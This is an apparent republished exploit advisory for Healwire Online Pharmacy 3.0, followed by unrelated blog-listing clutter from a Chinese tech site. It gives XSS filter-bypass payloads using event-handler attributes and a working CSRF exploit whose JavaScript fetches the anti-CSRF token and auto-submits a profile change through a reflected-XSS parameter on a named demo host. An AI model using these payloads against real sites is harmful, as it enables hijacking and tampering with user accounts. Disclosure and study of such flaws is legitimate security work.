Healwire Online Pharmacy 3.0 Cross Site Request Forgery / Cross Site Scripting

Healwire Online Pharmacy version 3.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploitvulnerabilityxsscsrf

MD5 | 9196695291014c0d67db9bdd80d678ff

# Exploit Title: Healwire Online Pharmacy 3.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery
# Date: 2018-05-17
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/healwire-online-pharmacy/16423338?s_rank=1499
# Version: 3.0
# Tested on: windows
 
# POC 1 : Cross site scripting :
1) Create an account and go to your profile.
2) When we want to put "<script></script>" in the fields,"script" will be
replaced with null.
so we can bypass this filter by using javascript's events like
"onmouseover" or "oninput" .
Put one of these payloads into the fields :
1 - " oninput=alert('xss') "
2 - " onmouseover=alert('xss') "
3) You will get an alert box inside the page . ( after put something into
the fields or move mouse on the fields)
 
 
# POC 2 : Cross-Site request forgery :
# With csrf vulnerability,attacker can easily change user's authentication.
# So in this script , we have anti-CSRF token .We can't change user's
# information without token.
# but there is a vulnerable parameter which has reflected xss in another page
# of this script.
# http://store.webandcrafts.com/demo/healwire/?msg= [We have Reflected XSS here]
# Now we can bypass anti-csrf by this parameter and using javascript:
 
 
# Exploit :
 
"/><form action="
http://store.webandcrafts.com/demo/healwire/user/update-details-user/1"
method="POST">
<input type="hidden" name="first_name" value="a" />
<input type="hidden" name="address"
value="" oninput=alert(document.domain) ""
/>
<input type="hidden" name="pincode" value="a" />
<input type="hidden" name="phone" value="100000000" />
<input type="hidden" name="last_name" value="anything" />
<input type="hidden" name="_token" value="" />
</form>
<script>
var token = ' ';
var req = new XMLHttpRequest();
req.onreadystatechange = function(){
if(this.readyState == 4 && this.status == 200){
var secPage = this.responseXML;
token = secPage.forms[0].elements[0].value;
console.log(token);
}
}
req.open("GET","/demo/healwire/account-page",true);
req.responseType = "document";
req.send();
 
window.setTimeout(function(){
document.forms[0].elements[5].value = token;
document.forms[0].submit();
},3000)
</script>
 
# You can also send 2 ajax requests instead of using form .
# Encode this payload and put this into "msg" parameter
# JSON result after 3 seconds :
 
status "SUCCESS"
msg "User profile updated !"

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏haifeiWu与他朋友们的专栏

Java命令之javap初探

javap是jdk自带的一个工具在jdk安装目录的/bin下面可以找到,可以对代码反编译,也可以查看java编译器生成的字节码,对代码的执行过程进行分析,了解j...

15420
来自专栏极客编程

用go语言创建区块链

本文你将用Go语言创建自己的区块链、理解哈希函数是如何保持区块链的完整性、掌握如何创造并添加新的块、实现多个节点通过竞争生成块、通过浏览器来查看整个链、了解所有...

15720
来自专栏光荣与梦想1987

继区块链之后,2018下半年的创业风口在哪里?其中之一是小程序

自从区块链横空出世,互联网创业圈的热情再次被点燃。无论是之前做什么业务,现在都开始研究区块链。如果在讨论项目的时候,没有人提到区块链,就好像大家很落后一样。因此...

11150
来自专栏分布式系统进阶

Librdkafka的操作处理队列

37320
来自专栏lgp20151222

MySql 中 case when then else end 的用法

11520
来自专栏光荣与梦想1987

喜茶估值超过60亿?创始人身价暴涨,美团或将成为大赢家

这几年来,国内茶饮市场非常火爆,其中代表性的就是喜茶和奈雪的茶。在北上广深这样的一线城市,和杭州、苏州这样的重点二线城市,喜茶已经布局了超过100家店。而且喜茶...

1.4K60
来自专栏技术文章

资深专家深度剖析Kubernetes API Server第1章(共3章)

欢迎来到深入学习Kubernetes API Server的系列文章,在本系列文章中我们将深入的探究Kubernetes API Server的相关实现。如...

17520
来自专栏haifeiWu与他朋友们的专栏

TCP 粘包问题浅析及其解决方案

最近一直在做中间件相关的东西,所以接触到的各种协议比较多,总的来说有TCP,UDP,HTTP等各种网络传输协议,因此楼主想先从协议最基本的TCP粘包问题搞起,把...

1.2K20
来自专栏haifeiWu与他朋友们的专栏

golang重构博客统计服务

作为一个后端开发,在docker,etcd,k8s等新技术不断涌现的今天,其背后的功臣golang在语言排行榜上持续走高,因此楼主也就开了这次使用golang自...

15720

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励